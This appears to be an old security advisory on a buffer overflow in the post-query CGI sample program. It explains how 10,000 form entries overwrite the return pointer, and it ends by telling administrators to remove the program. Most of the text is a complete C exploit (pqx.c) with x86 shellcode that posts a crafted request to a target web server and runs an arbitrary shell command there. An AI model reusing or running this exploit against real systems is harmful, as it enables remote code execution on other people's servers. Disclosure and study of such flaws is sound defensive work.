|
Vulnerability post-query Affected post-query (CGI) Description 'proton' found following. The overflow condition is *very* easily exploitable, since the code actually supplies the pointer to the exploit code itself, odd as it maye seem. The pointer thusly does not need to be second-guessed at all, making life much easier for crackers. Code excerpts: ... #define MAX_ENTRIES 10000 typedef struct { char *name; char *val; } entry; ... main(int argc, char *argv[]) { entry entries[MAX_ENTRIES]; ... for(x=0;cl && (!feof(stdin));x++) { m=x; entries[x].val = fmakeword(stdin,'&',&cl); plustospace(entries[x].val); unescape_url(entries[x].val); entries[x].name = makeword(entries[x].val,'='); } ... Fellow C programmers would surely see the problem right away. By feeding 10,000 bogus entries, and then sending a specially prepared buffer for the 10,001'th, you get a situation where memory is allocated, the exploit code is written into it and the pointer is then put into the 10,001'st position of the entries struct. This happens to be the position of the return pointer. When the program ends, it does not call `exit' as we would say most network applications should, instead it returns to __start, or in a case where the return pointer has been overwritten, it returns to the user-supplied code. The only problem with this exploit is that `fmakeword' allocates 102400 bytes for each buffer. Before you think that the problem then becomes entirely theoretical, consider that most modern kernels does not give the programs actual physical memory until the memory is written to. A fair estimate would be that to be vulnerable the server would need around 40-50MB of physical and/or virtual memory, but we can't say for certain. To sum it up, this exploit is real, you may be vulnerable if you have the post-query CGI on your webservers (and it is *very* common). You may be lucky enough to have an OS that prohibits the application from successfully allocating the needed memory. Attached is a working exploit program for Linux-ix86. You may or may not be vulnerable to this exploit depending on a number of factors. Better safe than sorry, remove post-query if you have it. It is an example program designed to demonstrate how posting to CGI works and as such isnt useful for any normal webserver operations. /* | pqx.c -- post-query buffer overflow exploit for Linux-ix86 | Copyright (c) 2001 by proton. All rights reserved. | | This program is free software; you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation; either version 2 of the License, or | (at your option) any later version. | | This program is distributed in the hope that it will be useful, | but WITHOUT ANY WARRANTY; without even the implied warranty of | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | GNU General Public License for more details. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> char tmp[512]; char *host; char *progname; char *command; #define output(x) write(1,x,sizeof(x)) unsigned char shellcode[] = "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08" "\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88" "\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xc0\xff\xff\xff\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01" "\x01\x01\x00"; void netpipe(int *rsock, int *wsock, int sz) { struct sockaddr_in sai; struct hostent *he; int s; if (!host || !*host || !command || !*command) { printf("Usage: %s <host> \"<command>\"\n",progname); exit(1); } he = gethostbyname(host); if (!he) { printf("%s: Unknown host\n",host); exit(1); } s = socket(AF_INET,SOCK_STREAM,0); sai.sin_family = AF_INET; sai.sin_port = htons(80); memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr)); if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0) { switch(errno) { case ECONNREFUSED: output("Connection refused.\n"); break; case ETIMEDOUT: output("Connection timed out.\n"); break; case ENETUNREACH: output("Network unreachable.\n"); break; default: output("Unknown error.\n"); break; } exit(1); } output("Connection established.\n"); *rsock = *wsock = s; sprintf(tmp,"POST /cgi-bin/post-query HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %i\r\n\r\n",sz); write(s,tmp,strlen(tmp)); } void __doit(void); #define CMDSTUB "/bin/sh -c %s@" int main(int argc, char **argv) { char *q,*cp; int in,out; int sz,x,n; if (argc < 3) { fprintf(stderr,"Usage: %s <hostname> \"<command>\"\n",argv[0]); exit(1); } progname = argv[0]; host = argv[1]; command = argv[2]; x = (2*strlen(shellcode)) + strlen(command) + sizeof(CMDSTUB); sz = 9999 + x; netpipe(&in,&out,sz); tmp[0] = 0; for(sz=0;sz<9999;sz++) { strcat(tmp,"&"); if (strlen(tmp) > 500) { write(out,tmp,strlen(tmp)); tmp[0] = 0; } } write(out,tmp,strlen(tmp)); sprintf(tmp,"&%s=%s",shellcode,shellcode); q = strchr(tmp,0); sprintf(q,CMDSTUB,command); write(out,tmp,x); output("Sent our shit.\n"); n = x = 0; for(;;) { sz = read(in,&tmp[x],512-x); if (sz < 1) break; x += sz; q = cp = tmp; for(sz=x;sz;) { if (*q == '\n') { if (strncmp(cp,"<li> <code> = </code>",q-cp)) write(1,cp,(q-cp)+1); else if (!n) { write(1,"\n<!-- ignoring 10,000 lines of crap -->\n\n",41); n++; } cp = q + 1; } q++; sz--; } if (cp != tmp) { sz = x - (cp - tmp); memcpy(tmp,cp,sz); x -= (cp - tmp); } } exit(0); } Solution Better safe than sorry; Remove the program if you have it! Noone should really need this type of application since it is a sample program designed to demonstrate how CGI works.